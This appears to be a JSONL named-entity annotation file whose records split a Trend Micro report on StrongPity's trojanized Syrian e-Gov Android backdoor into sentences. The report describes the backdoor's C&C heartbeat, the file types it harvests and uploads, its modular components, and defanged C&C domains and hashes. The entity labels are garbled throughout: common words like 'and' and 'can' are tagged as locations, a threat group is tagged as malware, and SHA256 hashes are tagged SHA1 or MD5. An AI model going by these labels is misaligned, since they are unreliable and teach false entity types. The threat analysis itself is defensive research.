-{"id":10766,"text":"Trend Micro SolutionsTrend Micro™ Deep Discovery™ provides detection, in-depth analysis, and proactive response to today’s stealthy malware and targeted attacks in real-time.","entities":[{"id":32906,"label":"location","start_offset":89,"end_offset":92},{"id":32908,"label":"location","start_offset":140,"end_offset":143},{"id":32909,"label":"location","start_offset":164,"end_offset":168},{"id":32910,"label":"location","start_offset":169,"end_offset":173}],"relations":[],"Comments":[]}
 {"id":10767,"text":"It provides a comprehensive defense tailored to protect organizations against targeted attacks and advanced threats through specialized engines, custom sandboxing, and seamless correlation across the entire attack lifecycle, allowing it to detect threats like REDBALDKNIGHT’s attacks even without any engine or pattern update.","entities":[{"id":32911,"label":"location","start_offset":95,"end_offset":98},{"id":32912,"label":"location","start_offset":164,"end_offset":167},{"id":32913,"label":"threat-actor","start_offset":260,"end_offset":273}],"relations":[],"Comments":[]}
-{"id":10768,"text":"Trend Micro™ Deep Security™ and Vulnerability Protection provide virtual patching that protects endpoints from threats that abuses unpatched vulnerabilities.","entities":[{"id":32915,"label":"location","start_offset":18,"end_offset":26},{"id":32916,"label":"location","start_offset":28,"end_offset":31},{"id":32917,"label":"location","start_offset":46,"end_offset":56}],"relations":[],"Comments":[]}
-{"id":10769,"text":"OfficeScan’s Vulnerability Protection shield endpoints from identified and unknown vulnerability exploits even before patches are deployed.","entities":[{"id":32919,"label":"location","start_offset":27,"end_offset":37},{"id":32920,"label":"location","start_offset":71,"end_offset":74},{"id":32921,"label":"location","start_offset":126,"end_offset":129}],"relations":[],"Comments":[]}
-{"id":10770,"text":"Trend Micro’s suite of security solutions is powered by XGen™ security, which features high-fidelity machine learning to secure the gateway and endpoint data and applications.","entities":[{"id":32923,"label":"location","start_offset":23,"end_offset":31},{"id":32925,"label":"location","start_offset":62,"end_offset":70},{"id":32926,"label":"location","start_offset":92,"end_offset":100},{"id":32927,"label":"location","start_offset":132,"end_offset":139},{"id":32928,"label":"location","start_offset":140,"end_offset":143},{"id":32929,"label":"location","start_offset":158,"end_offset":161}],"relations":[],"Comments":[]}
-{"id":10771,"text":"XGen™ protects against today’s purpose-built threats that bypass traditional controls, exploit known, unknown, or undisclosed vulnerabilities, and either steal or encrypt personally-identifiable data.","entities":[{"id":32932,"label":"location","start_offset":143,"end_offset":146}],"relations":[],"Comments":[]}
-{"id":10772,"text":"A list of the Indicators of Compromise (hashes, C&Cs) related to this research is in this appendix.","entities":[{"id":32933,"label":"location","start_offset":2,"end_offset":6}],"relations":[],"Comments":[]}
-{"id":10773,"text":"        Tags  APT & Targeted Attacks | Malware | Endpoints | Exploits & Vulnerabilities | Research | Articles, News, Reports","entities":[{"id":32934,"label":"location","start_offset":14,"end_offset":17}],"relations":[],"Comments":[]}
-{"id":10774,"text":"We recently conducted an investigation into a malicious Android malware sample, which we believe can be attributed to the StrongPity APT group, that was posted on the Syrian e-Gov website.","entities":[{"id":32935,"label":"location","start_offset":72,"end_offset":78},{"id":32936,"label":"location","start_offset":97,"end_offset":100}],"relations":[],"Comments":[]}
-{"id":10775,"text":"To the best of our knowledge, this is the first time that the group has been publicly observed using malicious Android applications as part of its attacks.","entities":[{"id":32941,"label":"location","start_offset":7,"end_offset":11},{"id":32943,"label":"location","start_offset":48,"end_offset":52}],"relations":[],"Comments":[]}
-{"id":10776,"text":"  We first learned about the sample from a thread shared on the MalwareHunterTeam Twitter.","entities":[{"id":32945,"label":"location","start_offset":11,"end_offset":18},{"id":32946,"label":"location","start_offset":29,"end_offset":35}],"relations":[],"Comments":[]}
-{"id":10777,"text":"Based on the discussion thread, we learned that the shared sample is a trojanized version of the Syrian e-gov Android application that would steal contact lists and collect files with specific file extensions from its victim's device.","entities":[{"id":32947,"label":"location","start_offset":35,"end_offset":42},{"id":32948,"label":"location","start_offset":59,"end_offset":65},{"id":32952,"label":"location","start_offset":147,"end_offset":154},{"id":32953,"label":"location","start_offset":161,"end_offset":164}],"relations":[],"Comments":[]}
-{"id":10778,"text":"One response from the thread pointed out that the malicious APK was likely distributed using a \"watering-hole\"-like technique: the attacker allegedly had compromised the official Syrian E-Gov website and replaced the official Android application file with a trojanized version of the original app.","entities":[{"id":32955,"label":"location","start_offset":68,"end_offset":74},{"id":32959,"label":"location","start_offset":200,"end_offset":203}],"relations":[],"Comments":[]}
 {"id":10779,"text":"Due to the suspicious nature of this activity, we decided to investigate further.","entities":[],"relations":[],"Comments":[]}
-{"id":10780,"text":"This blog entry will discuss the group’s attack tactics, techniques, and procedures (TTPs) in relation to the Android malware and why these activities can be attributed to this threat actor.","entities":[{"id":32960,"label":"location","start_offset":16,"end_offset":20},{"id":32961,"label":"location","start_offset":69,"end_offset":72},{"id":32962,"label":"location","start_offset":126,"end_offset":129},{"id":32963,"label":"location","start_offset":151,"end_offset":154}],"relations":[],"Comments":[]}
-{"id":10781,"text":"Furthermore, we will also dive into the threat actor’s development progress and identify several other malicious Android malware samples produced by StrongPity.","entities":[{"id":32964,"label":"location","start_offset":16,"end_offset":20},{"id":32965,"label":"location","start_offset":67,"end_offset":75},{"id":32966,"label":"location","start_offset":76,"end_offset":79}],"relations":[],"Comments":[]}
-{"id":10782,"text":"Finally, we will briefly discuss related malware variants, including the second version of the Android trojan, which appears to be a work in progress and includes several testing features.","entities":[{"id":32968,"label":"location","start_offset":12,"end_offset":16},{"id":32970,"label":"location","start_offset":141,"end_offset":149},{"id":32971,"label":"location","start_offset":150,"end_offset":153}],"relations":[],"Comments":[]}
 {"id":10783,"text":"Initial investigation","entities":[],"relations":[],"Comments":[]}
 {"id":10784,"text":"The first thing we did was check the URL where the malicious APK file was hosted (https:\/\/egov[.]sy\/mobile\/egov[.]apk).","entities":[{"id":32973,"label":"location","start_offset":27,"end_offset":32},{"id":32974,"label":"URL","start_offset":82,"end_offset":99},{"id":32975,"label":"location","start_offset":100,"end_offset":106}],"relations":[],"Comments":[]}
-{"id":10785,"text":"The version of the application that is downloadable from the site at the time of writing is a clean version of the Syrian e-gov Android application that is different from the malicious application previously discussed on Twitter.","entities":[{"id":32976,"label":"location","start_offset":73,"end_offset":77}],"relations":[],"Comments":[]}
-{"id":10786,"text":"This means that, at one point, the malicious version of the application was  deleted from the site.","entities":[{"id":32979,"label":"location","start_offset":5,"end_offset":10},{"id":32980,"label":"location","start_offset":20,"end_offset":23},{"id":32981,"label":"location","start_offset":24,"end_offset":29}],"relations":[],"Comments":[]}
-{"id":10787,"text":"At least six other samples with the same application name (\"بوابتي\") and matching package names (com.egov.app.*) can be identified on VirusTotal.","entities":[{"id":32983,"label":"location","start_offset":36,"end_offset":40},{"id":32984,"label":"location","start_offset":69,"end_offset":72},{"id":32985,"label":"location","start_offset":113,"end_offset":116}],"relations":[],"Comments":[]}
-{"id":10788,"text":" We verified all of these samples and concluded that all of them are benign.","entities":[{"id":32987,"label":"location","start_offset":34,"end_offset":37},{"id":32988,"label":"location","start_offset":60,"end_offset":64},{"id":32989,"label":"location","start_offset":65,"end_offset":68}],"relations":[],"Comments":[]}
 {"id":10789,"text":"These benign versions of the application were created during the period from February 2020 until March 2021.","entities":[],"relations":[],"Comments":[]}
-{"id":10790,"text":"We believe all of them are official apps from the Syrian E-Gov website.","entities":[{"id":32992,"label":"location","start_offset":18,"end_offset":22},{"id":32993,"label":"location","start_offset":23,"end_offset":26}],"relations":[],"Comments":[]}
-{"id":10791,"text":"The malicious sample, mentioned in the Twitter thread, is available on VirusTotal and as of the time of writing, has several positive detections.","entities":[{"id":32996,"label":"location","start_offset":14,"end_offset":20},{"id":32999,"label":"location","start_offset":82,"end_offset":85},{"id":33000,"label":"location","start_offset":96,"end_offset":100}],"relations":[],"Comments":[]}
 {"id":10792,"text":"Although some antivirus vendors detect the identified malicious sample as Bahamut, we doubted the accuracy of this attribution to the Bahamut APT group.","entities":[{"id":33001,"label":"location","start_offset":64,"end_offset":70},{"id":33002,"label":"threat-actor","start_offset":74,"end_offset":81},{"id":33003,"label":"malware","start_offset":134,"end_offset":141},{"id":33004,"label":"location","start_offset":142,"end_offset":145}],"relations":[],"Comments":[]}
 {"id":10793,"text":"Further investigation revealed several artifacts that could possibly link the malicious sample to the StrongPity APT group.","entities":[{"id":33005,"label":"location","start_offset":88,"end_offset":94},{"id":33006,"label":"threat-actor","start_offset":102,"end_offset":112},{"id":33007,"label":"location","start_offset":113,"end_offset":116}],"relations":[],"Comments":[]}
-{"id":10794,"text":"Analysis of the malicious sample","entities":[{"id":33008,"label":"location","start_offset":26,"end_offset":32}],"relations":[],"Comments":[]}
 {"id":10795,"text":"The malicious version of the application (fd1aac87399ad22234c503d8adb2ae9f0d950b6edf4456b1515a30100b5656a7) was created on May 2021(The timestamps within the file point to 2021-05-03 as the creation date, while the file was uploaded to VirusTotal on May 24, 2021).","entities":[{"id":33009,"label":"SHA1","start_offset":42,"end_offset":106},{"id":33011,"label":"location","start_offset":163,"end_offset":168},{"id":33013,"label":"location","start_offset":199,"end_offset":203}],"relations":[],"Comments":[]}
-{"id":10796,"text":"This application is signed with a different certificate and was produced by repackaging the original app from the Syrian government.","entities":[{"id":33016,"label":"location","start_offset":56,"end_offset":59}],"relations":[],"Comments":[]}
-{"id":10797,"text":"All of the original applications, on the other hand, are signed with another certificate.","entities":[{"id":33018,"label":"location","start_offset":47,"end_offset":51},{"id":33019,"label":"location","start_offset":53,"end_offset":56}],"relations":[],"Comments":[]}
 {"id":10798,"text":"Figure 1.","entities":[],"relations":[],"Comments":[]}
-{"id":10799,"text":"Comparison of the certificates used to sign the original (top) and the malicious applications(bottom)     ","entities":[{"id":33021,"label":"location","start_offset":63,"end_offset":66}],"relations":[],"Comments":[]}
-{"id":10800,"text":"The malicious application has the AndroidManifest.xml modified to include references to additional classes and request additional permissions on the device (seen in Figure 3).      Figure 2.","entities":[{"id":33022,"label":"location","start_offset":107,"end_offset":110}],"relations":[],"Comments":[]}
 {"id":10801,"text":"The modified AndroidManifest.xml of the malicious app     Overview of the inserted code","entities":[],"relations":[],"Comments":[]}
-{"id":10802,"text":"The threat actor added the following classes to this application; some of these classes (com.egov.app.NetworkStatusService, com.egov.app.Receiver) are referenced in the modified AndroidManifest.xml.","entities":[{"id":33025,"label":"location","start_offset":147,"end_offset":150}],"relations":[],"Comments":[]}
 {"id":10803,"text":"     Figure 3.","entities":[],"relations":[],"Comments":[]}
-{"id":10804,"text":"The classes added to the malicious app are shown in the right part of the image.","entities":[{"id":33027,"label":"location","start_offset":39,"end_offset":42}],"relations":[],"Comments":[]}
-{"id":10805,"text":"The original classes are shown in the left.","entities":[{"id":33028,"label":"location","start_offset":21,"end_offset":24}],"relations":[],"Comments":[]}
-{"id":10806,"text":"    Figure 3 shows that many of the other classes have randomly generated class and method names.","entities":[{"id":33030,"label":"location","start_offset":24,"end_offset":28},{"id":33031,"label":"location","start_offset":80,"end_offset":83}],"relations":[],"Comments":[]}
-{"id":10807,"text":"This naming pattern was likely produced by a software obfuscation tool.","entities":[{"id":33032,"label":"location","start_offset":24,"end_offset":30},{"id":33033,"label":"location","start_offset":66,"end_offset":70}],"relations":[],"Comments":[]}
 {"id":10808,"text":"Malicious code initialization","entities":[],"relations":[],"Comments":[]}
-{"id":10809,"text":"Two major additional components were added to the malicious version of the application: a service and a receiver.","entities":[{"id":33035,"label":"location","start_offset":4,"end_offset":9},{"id":33036,"label":"location","start_offset":98,"end_offset":101}],"relations":[],"Comments":[]}
 {"id":10810,"text":"The receiver starts the malicious service.","entities":[],"relations":[],"Comments":[]}
-{"id":10811,"text":"The malicious service is declared as an Android Service, which is an application component that can perform long-running tasks in the background.","entities":[{"id":33037,"label":"location","start_offset":96,"end_offset":99},{"id":33038,"label":"location","start_offset":108,"end_offset":112}],"relations":[],"Comments":[]}
-{"id":10812,"text":"This malicious service is declared with the class name \"com.egov.app.NetworkStatusService\", and is started by the Receiver class.","entities":[{"id":33039,"label":"location","start_offset":92,"end_offset":95}],"relations":[],"Comments":[]}
-{"id":10813,"text":"Our analysis of the Receiver configuration and code found multiple methods for starting the malicious NetworkStatusService service.","entities":[{"id":33040,"label":"location","start_offset":43,"end_offset":46}],"relations":[],"Comments":[]}
 {"id":10814,"text":" The service is started when the device connectivity is changed.","entities":[],"relations":[],"Comments":[]}
 {"id":10815,"text":"The djdeeu class registers a broadcast receiver for CONNECTIVITY_CHANGE.","entities":[],"relations":[],"Comments":[]}
-{"id":10816,"text":"The service can be started from launcher activity or other registered receivers.","entities":[{"id":33041,"label":"location","start_offset":12,"end_offset":15}],"relations":[],"Comments":[]}
-{"id":10817,"text":"The service can be started using the \"Alarm\" mechanism.","entities":[{"id":33042,"label":"location","start_offset":12,"end_offset":15}],"relations":[],"Comments":[]}
-{"id":10818,"text":" Once the malicious NetworkStatusService service is started, it executes its malicious functionality via a set of message handlers, which are responsible for handling specific messages.","entities":[{"id":33043,"label":"location","start_offset":138,"end_offset":141}],"relations":[],"Comments":[]}
 {"id":10819,"text":"Architecture of the backdoor","entities":[],"relations":[],"Comments":[]}
-{"id":10820,"text":"The sample uses the \"Handler\" mechanism to dispatch messages that trigger malicious behavior.","entities":[{"id":33044,"label":"location","start_offset":4,"end_offset":10}],"relations":[],"Comments":[]}
-{"id":10821,"text":"A custom enum structure is used to define the message types.","entities":[{"id":33045,"label":"location","start_offset":14,"end_offset":23}],"relations":[],"Comments":[]}
 {"id":10822,"text":"It defines seven message types, shown in Figure 4.","entities":[],"relations":[],"Comments":[]}
 {"id":10823,"text":"       Figure 4. Code showing the seven defined messages.","entities":[],"relations":[],"Comments":[]}
 {"id":10824,"text":"    Each of the messages trigger a different behavior through the handler.","entities":[],"relations":[],"Comments":[]}
-{"id":10825,"text":"The following is a quick summary of the purpose and behavior of each specific message: MSG_TRIG_ALARM_HEARTBEAT","entities":[{"id":33050,"label":"location","start_offset":19,"end_offset":24},{"id":33051,"label":"location","start_offset":48,"end_offset":51}],"relations":[],"Comments":[]}
 {"id":10826,"text":"When this message is received, a periodic task for heartbeat message is set.","entities":[],"relations":[],"Comments":[]}
 {"id":10827,"text":"MSG_TRIG_ALARM_SYNC","entities":[],"relations":[],"Comments":[]}
 {"id":10828,"text":"When this message is received, a periodic task for sync message is set.","entities":[],"relations":[],"Comments":[]}
 {"id":10829,"text":"MSG_HEARTBEAT","entities":[],"relations":[],"Comments":[]}
-{"id":10830,"text":"This message triggers the heartbeat function, which sends a request to the command-and-control (C&C) server and receives a response with an encrypted payload.","entities":[{"id":33052,"label":"location","start_offset":83,"end_offset":86},{"id":33053,"label":"location","start_offset":108,"end_offset":111}],"relations":[],"Comments":[]}
-{"id":10831,"text":"The encrypted payload is first saved into the directory <DIR>\/.android\/water.zip, after which the file water.zip is decrypted and the decrypted payload written to <DIR>\/.android\/e.zip.","entities":[{"id":33054,"label":"location","start_offset":126,"end_offset":129}],"relations":[],"Comments":[]}
-{"id":10832,"text":"Next, the file e.zip is decompressed into <DIR>\/.android and the file with the name \"config.properties\" is accessed.","entities":[{"id":33055,"label":"location","start_offset":57,"end_offset":60}],"relations":[],"Comments":[]}
-{"id":10833,"text":"Finally, this file is read and parsed.","entities":[{"id":33056,"label":"location","start_offset":27,"end_offset":30}],"relations":[],"Comments":[]}
-{"id":10834,"text":"These properties are extracted and written as configuration settings to local shared preference, allowing the malware to change its behavior according to the configuration.","entities":[{"id":33057,"label":"location","start_offset":17,"end_offset":20},{"id":33058,"label":"location","start_offset":31,"end_offset":34}],"relations":[],"Comments":[]}
 {"id":10835,"text":"MSG_SYNC Sync is a repeated behavior.","entities":[],"relations":[],"Comments":[]}
 {"id":10836,"text":"It uploads files, which were collected on infected devices, with a periodicity of 3000 seconds.","entities":[{"id":33059,"label":"TIME","start_offset":82,"end_offset":94}],"relations":[],"Comments":[]}
 {"id":10837,"text":"The handler for MSG_SYNC executes the following functionality: First, it enumerates all files under <DIR>\/.android\/.lib2.","entities":[],"relations":[],"Comments":[]}
 {"id":10838,"text":"It then creates a zip file with the name <uniqueId>.zip (note that the unique ID is not a real device ID, the malware just calculates a  custom unique ID based on the device ID value), and writes the files into the compressed file.","entities":[{"id":33061,"label":"location","start_offset":90,"end_offset":94},{"id":33062,"label":"identity","start_offset":118,"end_offset":122},{"id":33063,"label":"location","start_offset":185,"end_offset":188}],"relations":[],"Comments":[]}
-{"id":10839,"text":"Finally, it upload the zip file to the C&C server and deletes all files under <DIR>\/.android\/.lib2, as well as the compressed file <uniqueId>.zip.","entities":[{"id":33064,"label":"location","start_offset":50,"end_offset":53}],"relations":[],"Comments":[]}
 {"id":10840,"text":"MSG_COLLECT","entities":[],"relations":[],"Comments":[]}
 {"id":10841,"text":"The handler for this message collects data from the victim’s device.","entities":[],"relations":[],"Comments":[]}
-{"id":10842,"text":"First, it collects contact information, followed by information regarding available Wi-Fi networks.","entities":[{"id":33066,"label":"location","start_offset":19,"end_offset":26}],"relations":[],"Comments":[]}
-{"id":10843,"text":"It then searches through the device files and harvests all files that match pre-defined file extensions:  .asc .dgs .doc .docx .edf .gpg .jpeg .jpg .key .m2r .meo .pdf .pgp .pir .pkr .pub .rjv .rms .sem .sit .skr .sys .xls .xlsx       Figure 5.","entities":[{"id":33067,"label":"location","start_offset":42,"end_offset":45}],"relations":[],"Comments":[]}
 {"id":10844,"text":"A snippet of the file harvesting code      MSG_TRIG_ALARM_COLLECT","entities":[],"relations":[],"Comments":[]}
 {"id":10845,"text":"When this message is received, a periodic task for the “collect message” handler is set.","entities":[],"relations":[],"Comments":[]}
 {"id":10846,"text":"MSG_CONNECTIVITY","entities":[],"relations":[],"Comments":[]}
-{"id":10847,"text":"This message sends all the mentioned messages one by one.","entities":[{"id":33069,"label":"location","start_offset":46,"end_offset":49},{"id":33070,"label":"location","start_offset":53,"end_offset":56}],"relations":[],"Comments":[]}
 {"id":10848,"text":"Modular Functionality of the backdoor","entities":[],"relations":[],"Comments":[]}
-{"id":10849,"text":"This sample uses highly modular components to create a flexible architecture for component loading and unloading.","entities":[{"id":33071,"label":"location","start_offset":5,"end_offset":11},{"id":33072,"label":"location","start_offset":99,"end_offset":102}],"relations":[],"Comments":[]}
-{"id":10850,"text":"The functions onCreate and onDestroy show a common approach to loading and unloading a component.","entities":[{"id":33073,"label":"location","start_offset":23,"end_offset":26},{"id":33074,"label":"location","start_offset":71,"end_offset":74}],"relations":[],"Comments":[]}
 {"id":10851,"text":"Figure 6.","entities":[],"relations":[],"Comments":[]}
-{"id":10852,"text":"Code snippet showing the onCreate and onDestroy functions     ","entities":[{"id":33076,"label":"location","start_offset":34,"end_offset":37}],"relations":[],"Comments":[]}
-{"id":10853,"text":"The following are the components were used in the sample:  pekmek(Crypto Manager): Uses AES to decrypt and encrypt files and strings.","entities":[{"id":33077,"label":"location","start_offset":14,"end_offset":17},{"id":33078,"label":"location","start_offset":50,"end_offset":56},{"id":33079,"label":"location","start_offset":103,"end_offset":106},{"id":33080,"label":"location","start_offset":121,"end_offset":124}],"relations":[],"Comments":[]}
-{"id":10854,"text":"ltymcr(Helper Class): Contains many utility functions, such as a function to calculate unique id, parse config file, write\/read shared preference, and define encryption keys.","entities":[{"id":33081,"label":"location","start_offset":31,"end_offset":35},{"id":33082,"label":"location","start_offset":36,"end_offset":43},{"id":33083,"label":"location","start_offset":147,"end_offset":150}],"relations":[],"Comments":[]}
 {"id":10855,"text":"      Figure 7.","entities":[],"relations":[],"Comments":[]}
 {"id":10856,"text":"Code snippet showing the ltymcr(Helper Class) component      sadwoo:","entities":[],"relations":[],"Comments":[]}
 {"id":10857,"text":"A component used as PowerWakeLock.","entities":[],"relations":[],"Comments":[]}
 {"id":10858,"text":"phkyxc: A component used as WifiWakeLock.","entities":[],"relations":[],"Comments":[]}
 {"id":10859,"text":"tfsdne:","entities":[],"relations":[],"Comments":[]}
-{"id":10860,"text":"This is a wrapper used for C&C communication such as heartbeat and sync.","entities":[{"id":33085,"label":"location","start_offset":63,"end_offset":66}],"relations":[],"Comments":[]}
 {"id":10861,"text":"itxdrx(Net Manager): A component responsible for handling HTTP protocol communication.","entities":[],"relations":[],"Comments":[]}
 {"id":10862,"text":"Figure 8.","entities":[],"relations":[],"Comments":[]}
 {"id":10863,"text":"Code from the itxdrx component      nhnhpi:","entities":[],"relations":[],"Comments":[]}
 {"id":10864,"text":"The component responsible for managing the C&C server.","entities":[],"relations":[],"Comments":[]}
 {"id":10865,"text":" This component includes definition of an initial C&C server.","entities":[],"relations":[],"Comments":[]}
-{"id":10866,"text":"The initial value can be overridden.","entities":[{"id":33087,"label":"location","start_offset":18,"end_offset":21}],"relations":[],"Comments":[]}
-{"id":10867,"text":"The StrongPity backdoor has the ability to update (including deleting and adding) its C&C server address via configuration updates from the \"heartbeat\" command.","entities":[{"id":33089,"label":"location","start_offset":70,"end_offset":73}],"relations":[],"Comments":[]}
 {"id":10868,"text":"Figure 9.","entities":[],"relations":[],"Comments":[]}
-{"id":10869,"text":"The code that handles the addition and deletion of C&C servers     Investigation and attribution","entities":[{"id":33091,"label":"location","start_offset":35,"end_offset":38},{"id":33092,"label":"location","start_offset":81,"end_offset":84}],"relations":[],"Comments":[]}
-{"id":10870,"text":"When we learned how the threat actor repackages benign applications into trojanized variants, we decided to search for similar samples on VirusTotal.","entities":[{"id":33093,"label":"location","start_offset":8,"end_offset":15}],"relations":[],"Comments":[]}
-{"id":10871,"text":"We searched for other applications that were repackaged in a similar method and included similar malicious components.","entities":[{"id":33095,"label":"location","start_offset":76,"end_offset":79}],"relations":[],"Comments":[]}
 {"id":10872,"text":"Similar malicious samples","entities":[],"relations":[],"Comments":[]}
-{"id":10873,"text":"We found several other samples that were produced by the same threat actor.","entities":[{"id":33096,"label":"location","start_offset":57,"end_offset":61}],"relations":[],"Comments":[]}
-{"id":10874,"text":"We determined these samples to be similar because all of them (except for the last sample) were also repackaged from normal applications and had similar malicious code inserted.","entities":[{"id":33097,"label":"location","start_offset":57,"end_offset":61},{"id":33098,"label":"location","start_offset":83,"end_offset":89},{"id":33099,"label":"location","start_offset":117,"end_offset":123},{"id":33100,"label":"location","start_offset":137,"end_offset":140}],"relations":[],"Comments":[]}
 {"id":10875,"text":"Date of submission  SHA256  Identified C&C servers  Additional Details  August 2, 2019  374d92f553c28e9dad1aa7f5d334a07dede1e5ad19c3766efde74290d0c49afb  upeg-system-app[.]com  Likely repacked from Kingoroot.","entities":[{"id":33101,"label":"location","start_offset":0,"end_offset":4},{"id":33103,"label":"SHA1","start_offset":88,"end_offset":152},{"id":33104,"label":"location","start_offset":177,"end_offset":183}],"relations":[],"Comments":[]}
 {"id":10876,"text":" June 8, 2020  be9214a5804632004f7fd5b90fbac3e23f44bb7f0a252b8277dd7e9d8b8a52f3  networktopologymaps[.]com  Likely repacked from Snaptube, though It is not the same as 596257ef017b02ba6961869d78a2317500a45f00c76682a22bbdbd3391857b5d.  June 8, 2020  a9378a5469319faffc48f3aa70f5b352d5acb7d361c5177a9aac90d9c58bb628  networktopologymaps[.]com  Likely repacked from net[.]cybertik[.]wifi (the original app could be downloaded from the Yemeni website, cybertik[.]net).","entities":[{"id":33107,"label":"SHA2","start_offset":15,"end_offset":79},{"id":33108,"label":"location","start_offset":108,"end_offset":114},{"id":33109,"label":"location","start_offset":160,"end_offset":164},{"id":33110,"label":"SHA1","start_offset":168,"end_offset":232},{"id":33112,"label":"SHA2","start_offset":249,"end_offset":313},{"id":33113,"label":"location","start_offset":342,"end_offset":348}],"relations":[],"Comments":[]}
 {"id":10877,"text":"June 13, 2021  596257ef017b02ba6961869d78a2317500a45f00c76682a22bbdbd3391857b5d  upeg-system-app[.]com  Likely repacked from Snaptube.","entities":[{"id":33116,"label":"SHA2","start_offset":15,"end_offset":79},{"id":33117,"label":"location","start_offset":104,"end_offset":110}],"relations":[],"Comments":[]}
 {"id":10878,"text":" January 1, 2021  75dc2829abb951ff970debfba9f66d4d7c6b7c48a823a911dd5874f74ac63d7b  upn-sec3-msd[.]com  This is likely a testing sample because it provides buttons to test functions.","entities":[{"id":33119,"label":"SHA2","start_offset":18,"end_offset":82},{"id":33120,"label":"location","start_offset":112,"end_offset":118},{"id":33121,"label":"location","start_offset":129,"end_offset":135}],"relations":[],"Comments":[]}
-{"id":10879,"text":"This sample also contains some new features that we haven’t seen in other samples.","entities":[{"id":33122,"label":"location","start_offset":5,"end_offset":11}],"relations":[],"Comments":[]}
 {"id":10880,"text":"This shows that the actor is actively involved in the development of APK versions of the backdoor.","entities":[],"relations":[],"Comments":[]}
 {"id":10881,"text":"  Table 1. Similar malicious samples found on VirusTotal     The sample 75dc2829abb951ff970debfba9f66d4d7c6b7c48a823a911dd5874f74ac63d7b  serves as the key attribution factor and is the main link to the StrongPity threat actor, because it communicates with a C&C server that was previously identified by several research teams as infrastructure used by the group.  Tools, tactics, and procedures on Windows","entities":[{"id":33124,"label":"location","start_offset":65,"end_offset":71},{"id":33125,"label":"MD5","start_offset":72,"end_offset":136},{"id":33126,"label":"location","start_offset":175,"end_offset":178},{"id":33127,"label":"threat-actor","start_offset":203,"end_offset":213},{"id":33128,"label":"location","start_offset":381,"end_offset":384}],"relations":[],"Comments":[]}
-{"id":10882,"text":"There are no known public reports of StrongPity using malicious Android applications in their attacks at the time of writing.","entities":[{"id":33129,"label":"location","start_offset":6,"end_offset":9},{"id":33130,"label":"location","start_offset":19,"end_offset":25},{"id":33133,"label":"location","start_offset":109,"end_offset":113}],"relations":[],"Comments":[]}
-{"id":10883,"text":"In order to strengthen our confidence in the accuracy of our attribution to StrongPity, we decided to further examine some of their samples that were used to target Microsoft Windows platforms and see if we could identify similar tools, tactics, and procedures (TTPs) in their actions.","entities":[{"id":33134,"label":"location","start_offset":27,"end_offset":37},{"id":33136,"label":"location","start_offset":158,"end_offset":164},{"id":33138,"label":"location","start_offset":193,"end_offset":196},{"id":33139,"label":"location","start_offset":246,"end_offset":249}],"relations":[],"Comments":[]}
 {"id":10884,"text":"Just as we have seen with the Android apps, the StrongPity group favors repacking benign installers to produce trojanized versions of these applications.","entities":[{"id":33140,"label":"identity","start_offset":0,"end_offset":4}],"relations":[],"Comments":[]}
-{"id":10885,"text":"Likewise, the main function of these backdoors is to search, harvest, and exfiltrate files from the victim’s computers.","entities":[{"id":33143,"label":"location","start_offset":61,"end_offset":68},{"id":33144,"label":"location","start_offset":70,"end_offset":73}],"relations":[],"Comments":[]}
 {"id":10886,"text":"Take, for example, the following sample:  48f67be806b4e823280f03ee5512ffd58deb6f37ecc80842265d4e8d2ca30055.","entities":[{"id":33145,"label":"location","start_offset":33,"end_offset":39},{"id":33146,"label":"SHA2","start_offset":42,"end_offset":106}],"relations":[],"Comments":[]}
-{"id":10887,"text":"The sample first drops a file called \"TrustedInstaller.exe\" to <DIR>\/AppData\/Local\/Temp and then executes it.","entities":[{"id":33147,"label":"location","start_offset":4,"end_offset":10},{"id":33148,"label":"location","start_offset":88,"end_offset":91}],"relations":[],"Comments":[]}
 {"id":10888,"text":"This dropped file is a clean WinRAR installer.","entities":[{"id":33149,"label":"malware","start_offset":29,"end_offset":35}],"relations":[],"Comments":[]}
-{"id":10889,"text":"     Figure 10. Code used in the file “TrustedInstaller.exe”     It then creates <DIR>\/AppData\/Local\/Temp\/lang_be29c9f3-83we to drop malicious files and execute them.","entities":[{"id":33151,"label":"location","start_offset":149,"end_offset":152},{"id":33152,"label":"location","start_offset":161,"end_offset":165}],"relations":[],"Comments":[]}
 {"id":10890,"text":"     Figure 11. Code showing the creation of the directory     ","entities":[],"relations":[],"Comments":[]}
 {"id":10891,"text":"If we examine another StrongPity sample (12818a96211b7c47863b109be63e951075cf6a41652464a584dd2f26010f7535), the logic is similar — it drops a normal installer into the Temp directory and creates a directory for dropped malicious files.","entities":[{"id":33154,"label":"malware","start_offset":22,"end_offset":32},{"id":33155,"label":"location","start_offset":33,"end_offset":39},{"id":33156,"label":"SHA2","start_offset":41,"end_offset":105},{"id":33157,"label":"location","start_offset":142,"end_offset":148},{"id":33158,"label":"location","start_offset":183,"end_offset":186}],"relations":[],"Comments":[]}
-{"id":10892,"text":"Here are three notable similarities between the Windows sample and the Android sample:","entities":[{"id":33159,"label":"location","start_offset":5,"end_offset":8},{"id":33161,"label":"location","start_offset":36,"end_offset":43},{"id":33162,"label":"location","start_offset":56,"end_offset":62},{"id":33163,"label":"location","start_offset":63,"end_offset":66},{"id":33165,"label":"location","start_offset":79,"end_offset":85}],"relations":[],"Comments":[]}
-{"id":10893,"text":"1.    They all disguised as normal apps by utilizing the original clean applications — the Android sample repacks the original one into a trojanized version, while the Windows sample uses a trojanized installer packed with the original program.","entities":[{"id":33166,"label":"location","start_offset":28,"end_offset":34},{"id":33168,"label":"location","start_offset":99,"end_offset":105},{"id":33169,"label":"location","start_offset":127,"end_offset":130},{"id":33170,"label":"location","start_offset":176,"end_offset":182}],"relations":[],"Comments":[]}
-{"id":10894,"text":"2.    Both collect and exfiltrate files from the infected device.","entities":[{"id":33171,"label":"location","start_offset":19,"end_offset":22}],"relations":[],"Comments":[]}
-{"id":10895,"text":"3.    Both are highly modular.","entities":[{"id":33172,"label":"location","start_offset":11,"end_offset":14}],"relations":[],"Comments":[]}
-{"id":10896,"text":"The Windows sample has a standalone Exfiltration and File Search module, a feature that could also be seen in the latest test Android sample.","entities":[{"id":33173,"label":"location","start_offset":12,"end_offset":18},{"id":33174,"label":"location","start_offset":49,"end_offset":52},{"id":33176,"label":"location","start_offset":134,"end_offset":140}],"relations":[],"Comments":[]}
 {"id":10897,"text":"Possible connections to StrongPity","entities":[{"id":33177,"label":"threat-actor","start_offset":24,"end_offset":34}],"relations":[],"Comments":[]}
 {"id":10898,"text":"We found several clues that link the malicious Android samples with the StrongPity threat actor.","entities":[],"relations":[],"Comments":[]}
